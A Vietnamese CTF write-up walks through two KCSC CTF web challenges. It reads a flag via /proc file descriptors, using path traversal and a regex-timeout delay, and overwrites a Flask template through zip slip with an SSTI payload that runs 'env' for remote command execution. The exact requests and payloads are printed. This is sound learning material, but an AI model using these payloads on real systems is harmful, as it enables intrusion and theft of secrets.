Try   HackMD

Cũng đã 1 khoảng thời gian sau lần cuối mình viết write up ctf challenge, phải nói rằng là khả năng chơi ctf của mình đang kém và cần phải rèn dũa thêm, kết quả của cuộc thi lần này đã minh chứng cho điều đó.
Mình tham gia KCSC CTF với team 4 người chơi web và sau 8 tiếng bọn mình solve được 1 bài trên tổng số 6 mà bài web đó không phải do cả team cùng làm mà mang tính cá nhân rõ rệt. Bọn mình đã không trao đổi và cùng nhau giải cái challenge mà lại đi chơi kiểu mỗi người một chall, dẫn đến 4 anh em stuck ở 4 nơi mà chả biết phải support nhau như thế nào, đây là bài học quý giá mà mình cần phải rút kinh nghiệm trong khoản giao tiếp với đồng đội ở các cuộc thi tới. Các web challenge năm nay đối với mình đều rất mới, độc và lạ. Nó toàn là những kiến thức mình không biết hoặc là rất yếu nên sau cuộc thi mình đã học được rất nhiều qua những anh em làm được và chỉ cho mình. Thôi không lan man nữa, mình sẽ bắt đầu nói về quá trình tìm tòi và giải quyết các web challenge của giải này.

Bài Ka Tuổi Trẻ

Preface

Đây là challenge mình dành nhiều thời gian nhất để tập trung giải quyết, tuy nhiên mình vẫn không thể giải được và nhận ra mình đã hiểu sai bản chất sau khi biết được hướng solve.
Challenge bao gồm web server flask và nginx đứng ra làm proxy, challenge cũng có source nên mình sẽ đi vào phân tích luôn

Source code

Dockerfile

COPY flag.txt /flag.txt
RUN chmod 444 /flag.txt

Dựa vào file docker chỉ có quyền đọc và flag không thêm ký tự bất kỳ, mình nghĩ có thể solve challenge bằng lỗi đọc file local mà có thể không phải RCE

Web server

Chức năng của webserver khá đơn giản, chỉ có một route duy nhất / có khả năng đọc file nằm trong thư mục static thông qua tham số file có trong url:

app = Flask(__name__, static_url_path='/static', static_folder='static')

@app.get('/')
def home():
    if request.args.get('file'):
		filename = join("./static", request.args.get('file'))
		if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2):
			try:
				with open(normpath(filename), "rb") as file:
					if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename:
						return file.read(1024 * 1024 * 2)
			except:
				pass
	return redirect("/?file=index.html")

Như mình nói ở trên, giá trị của biến file được đưa vào nối với thư mục /static bằng join, sau đó đường dẫn file liên tục đưa vào hàm normpath và kiểm tra xem file có tồn tại không (isfile), có đọc được không (access) và kiểm tra độ lớn file có nhỏ hơn 2MB không, nếu có thì bắt đầu đi kiểm tra tiếp.
Tiến hành mở file đó ra với filename đưa vào normpath, filename bị kiểm tra bằng một chuỗi regex rất to và quá trình kiểm tra được đặt timeout2s, và kiểm tra nếu chữ flag có trong filename không, thỏa mãn sẽ đọc file, còn không sẽ bỏ qua.
Sau khi mình đọc source, mình thấy có vài thứ khả nghi:

  • Tính năng join có khả năng dính path traversal, có thể dùng để đọc file local
  • Hàm normpath xuất hiện rất nhiều
  • Đoạn regex kia rất dài và khó hiểu nhưng để timeout 2 giây mình chưa hiểu để làm gì
  • Quả "flag" not in filename quá trí mạng và chưa có cách bypass, nghi vấn có khả năng không đọc bằng cái hàm file.read đằng sau

Bypass

Ban đầu mình cố gắng để bypass đoạn "flag" not in filename bằng cách tìm vuln của hàm normpath vì mình thấy hàm này lạ, và thực sự nó có một CVE path traversal với hàm normpath này: CVE-2023-41105, mình đã thử cách này nhưng python của challenge là python 3.12, còn phiên bản dính lỗi là từ 3.11 đến 3.11.4, nên cách này ta bỏ.
Sau đó mình tiếp tục thử bypass cái if kia bằng hex encode nhưng dấu \ khi gửi sẽ biến thành \x5c và khi vào hàm normpath không render ra được chữ, nên cách này cũng không khả thi.
Sau đó mình rất bí và không nghĩ ra được cách nào nữa, cho đến khi hint thứ nhất xuất hiện, hint đầu tiên là cách đọc file từ file descriptor: Reads from the file descriptor. Quả hint này làm mình tốn rất nhiều thời gian để hiểu, sau khi đọc đi đọc lại và mình mang cái script trong ví dụ kia, mình nôm na nghĩ là khi mình tạo ra tiến trình đọc một file thì tiến trình đọc file đó sẽ xuất hiện vào luồng file descriptor của tiến trình. Trong linux mình có thể biểu diễn mọi thứ thông qua hệ thống file, được thể hiện trong folder /proc/{pid}/fd , pid là số thứ tự của tiến trình đó, bên trong thư mục này tiếp tục sẽ có các số nguyên biểu thị cho các luồng dữ liệu có trong tiến trình, trong đó mặc định có 0-stdin, 1-stdout, 2-stderr, ngoài ra còn có thể có các luồng khác tùy với tiến trình đó tương tác như thế nào với các file trong Linux.
Một câu hỏi to đùng của mình đặt ra lúc đó là server đâu có động đến được file /flag.txt -> làm sao để nó vào được một luồng trong fd của tiến trình, và làm sao để mình biết được số nguyên đó?
Chính bởi vì lúc đó mình không hiểu bản chất của /proc/{pid}/fd, mình đã nghĩ rằng nó sẽ bay vào các luồng có trong tiến trình chạy flask nếu như mình spam request read file ?file=/flag.txt, nhưng nó không hoạt động như thế.
Sau khi kết thúc cuộc thi, mình được người anh em Twil4 gửi cho doc nói về thư mục /proc này, đây là một bài đọc rất chi tiết về các subfolder có trong /proc: https://www.anquanke.com/post/id/241148, mình để ý có một đoạn như này

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Đây là ví dụ về một bài ctf, trong bài đó challenge mở và đọc file /tmp/secret sau đó xóa file, và author đã giải thích rằng trong Linux nếu một chương trình mở một file bằng open() và không đóng nó ở cuối thì dù sau khi xóa file thì nội dung vẫn tồn tại ở trong thư mục file descriptor - fd tại tiến trình đó. Bằng file descriptor, ta vẫn có thể đọc nội dung của file đã bị xóa khi biết được pid của tiến trình, từ đó author Intruder để lấy nội dung file và solve challenge.
Vậy là khi open file là file đó được đưa vào thư mục fd của tiến trình đó, và nó sẽ tồn tại cho đến khi ta kết thúc quá trình đọc file, hoặc là close nó.
Khoan, challenge rõ ràng đã đọc file mà ta chỉ định rồi mới đưa vào kiểm tra và quyết định xem có đọc file hoặc bỏ qua hay không. => Vậy mình có thể đọc nội dung của file đó nếu như mình biết được pid và số hiệu luồng dữ liệu.
Để thử thì mình sẽ nhồi thêm câu lệnh sleep vào source code sau khi đọc file để server dừng lại đủ lâu cho mình quan sát:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Mình gửi request đọc file flag cho server:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Server đang sleep nên mình đi vào tiến trình trong folder /proc để xem thì mình thấy luồng số 10 của tiến trình 7 là symlinks đến file flag.txt
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Mình đọc file đó thì cũng tương ứng với việc đọc file /flag.txt:

/home/app $ cat /proc/7/fd/10
KCSC{REACTED}

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Và sau khi server xử lý xong thì luồng đó biến mất, chứng tỏ đoạn code with open khi chạy hết sẽ tự động đóng lại quá trình mở và đọc file.
Mình deploy đi deploy lại trên local thì lần đầu lúc nào cũng sẽ là /proc/7/fd/10, nên mình nghĩ rằng nó sẽ vào luồng số 10 :))
Tổng kết lại, mình cần kéo dài nhiều thời gian nhất có thể để thử xem luồng nào là luồng đang chứa flag, vì ngoài server thật mình làm gì được sleep(200).
Vốn đã không hiểu đoạn regex dùng để làm gì, nhưng giờ mình mới nhận ra nó có thể giúp mình kéo dài thời gian với cái thuộc tính timeout=2, giờ mình cần tạo 1 cái filename dài, rất dài để quá trình xử lý bằng regex càng lâu càng tốt, trong lúc đó mình cần phải thử để xem pid nào đúng, từ đó lum flag.

Exploit:

Mình cần 2 request để thực hiện giải quyết challenge, với request câu thời gian mở file, mình sử dụng nhiều dấu path traversal để độ dài của biến file là lớn nhất có thể:

GET /?file=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Connection: close

Request này của mình lúc nào gửi cũng mất 2 giây, trong lúc đó mình gửi request thứ 2 để tìm luồng đang chứa nội dung file flag:

GET /?file=/proc/7/fd/10 HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Connection: close

Sau khi thử một hồi thì mình cũng có được flag:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Kết quả của mình trên server:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Flag của challenge: KCSC{D1eu_tuу3t_v01_n@m_o_n0i_ch1nh_ta_ch@ng_can_tim_d@u_xa}

Simple Flask

Source code

Đây là một trong những bài có trick khá hay mà mình không nghĩ đến, mình cũng đã tốn kha khá thời gian cho challenge này và không có kết quả gì nên đành đi làm bài khác:

Dockerfile

FROM python:3.8-bullseye

COPY ./src /app
WORKDIR /app
RUN pip install -r requirements.txt
EXPOSE 5000

ENV FLAG=KCSC{REDACTED}

CMD ["python", "app.py"]

Flag là một biến môi trường, vậy để solve chall mình cần đọc /proc/self/environ hoặc thực thi câu lệnh để xem các biến môi trường của challenge

Web server

Ta cũng chỉ có một file app.py chứa 2 path khá cơ bản, mình sẽ đến với path "/" trước:

def list_all_files(mypath: str):
	output = []
	for path, subdirs, files in os.walk(mypath):
		for name in files:
			output.append(os.path.join(path, name))
	return output

@app.route('/')
def index():
	mypath = "uploads"
	uploaded_file = list_all_files(mypath)
	return render_template('index.html', data = uploaded_file)

Trang chủ được sử dụng để list ra các file có trong path uploads/, sử dụng hàm list_all_files để hiển thị file

def fileIsSafe(file_ext: str):
	if not file_ext:
		return False
	if re.match(r'\.(py|ini|html|htm|env|bash|sh|so|preload)', file_ext):
		return False
	return True

@app.route('/upload', methods=['POST'])
def upload():
	if not request.files['file']:
		return "Not file provided"
	else:
		try:
			client_file = request.files['file']
			with zipfile.ZipFile(client_file, 'r') as zip_ref:
				for name in zip_ref.namelist():
					_, file_ext = os.path.splitext(name)
					if fileIsSafe(file_ext):
						if len(name.split("/")) != 1:
							curr_path = "uploads"
							for folder_name in name.split("/")[:-1]:
								curr_path += f"/{folder_name}"
								if not os.path.exists(curr_path):
									os.mkdir(curr_path)
						dest_path = os.path.normpath(f"uploads/{name}")
						with open(dest_path, "wb") as f:
							f.write(zip_ref.read(name))
		except Exception as e:
			return e
	return "Success! Check uploads/ folder"

Tại path /upload, ta được upload 1 file zip, sau đó server lấy ra extension của file bằng os.path.splitext, kiểm tra trong hàm fileIsSafe -> loại bỏ hầu như gần hết các đuôi file có thể upload trong python. Sau đó lấy các thư mục của file có trong thư mục zip, nếu chúng chưa tồn tại sẽ khởi tạo thư mục mới đó trong uploads. Sau đó chương trình ghi nội dung của file có trong file zip bằng cách đọc nội dung file trong file zip và viết vào đường dẫn tương ứng ở trong uploads/. Nghe có vẻ là một cách hay thay cho việc extract.

Bypass

Mình đã thử symlink và nén vào file zip rồi upload lên nhưng kết quả không mấy khả quan. Sau khi thấy việc upload file zip nhưng không extract mà dựa vào tên file để đọc và lấy nội dung, mình nghi ngờ việc liệu server có thực sự dính zip slip không? Lúc đó mình chỉ chăm chăm đi tìm cách để đọc file /proc/self/environ bằng symlink và không đạt được kết quả gì.
Ngồi thử một hồi không được, mình quyết định chuyển qua exploit bằng filename, vì chương trình dựa vào tên file của file trong file zip để đọc nội dung nên mình nghĩ có thể truyền vào tên file dạng ../../../../../../proc/self/environ để đọc, nhưng cách nghĩ này sai ở 2 chỗ:

  • Nếu như file đó thực sự được lưu thì nó sẽ đồng thời ghi đè luôn file /proc/self/environ thực sự bằng nội dung của mình, và nếu như vậy mình cũng không đọc được nó, coi như huề cả làng
  • Hàm fileIsSafe trả về false khi file truyền vào không có extension, kế hoạch đọc file đã đổ bể

Sau đó mình đã không nghĩ ra được cách nào khác, vì cứ đinh ninh rằng hàm kia đã cấm .py, .html thì còn upload ghi đè với zip slip gì nữa. Nhưng mình đã nhầm
Người bạn của mình là Chuong đã bảo rằng vẫn có thể zip slip, và vẫn có thể ghi đè được file html.
Mình tìm đến Zip slip example và tải file zip-slip.zip về để upload, và mình nhận ra mình đã nhận định sai. Mình vẫn có thể zip slip vào phần filename:

image
Vào phần file mình thấy evil.txt được ghi vào trong tmp, chứng tỏ có thể khai thác zip slip:
image

Và hơn nữa, mình có thể bypass hàm kiểm tra bằng cách ghi đè file html bằng HTML
Như vậy, mình sẽ khai thác zip slip với filename có dạng ../../../../../../../../../app/templates/index.HTML rồi SSTI tại file html đó để RCE lấy flag:

Exploit

Đầu tiên mình sẽ tạo file index.HTML tương ứng trong kali:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mkdir -p /app/templates

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nano "../../../../../../../../../app/templates/index.HTML"

Mình chèn vào file html payload SSTI kèm câu lệnh env để hiển thị tất cả các environment variables:

{% print(self.__init__.__globals__.__builtins__.__import__('os').popen('env').read()) %}

Sau đó mình zip file lại:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl -F file=@a.zip http://192.168.92.1:5000/upload  
Success! Check uploads/ folder

Vì ghi đè html nên mình chọn cách curl để lấy thông tin về cho tiện, và cách này chỉ có thể làm lần đầu khi chưa render web vì nếu đã vào thì website sẽ lưu lại template cũ mà không render template mới của mình:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl http://192.168.92.1:5000/                     
HOSTNAME=7f7fa83b3eef
PYTHON_PIP_VERSION=23.0.1
HOME=/root
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
WERKZEUG_SERVER_FD=3
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/dbf0c85f76fb6e1ab42aa672ffca6f0a675d9ee4/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.8.19
PYTHON_SETUPTOOLS_VERSION=57.5.0
PWD=/app
PYTHON_GET_PIP_SHA256=dfe9fd5c28dc98b5ac17979a953ea550cec37ae1b47a5116007395bfacff2ab9
FLAG=KCSC{REDACTED}

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Exploit thành công
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →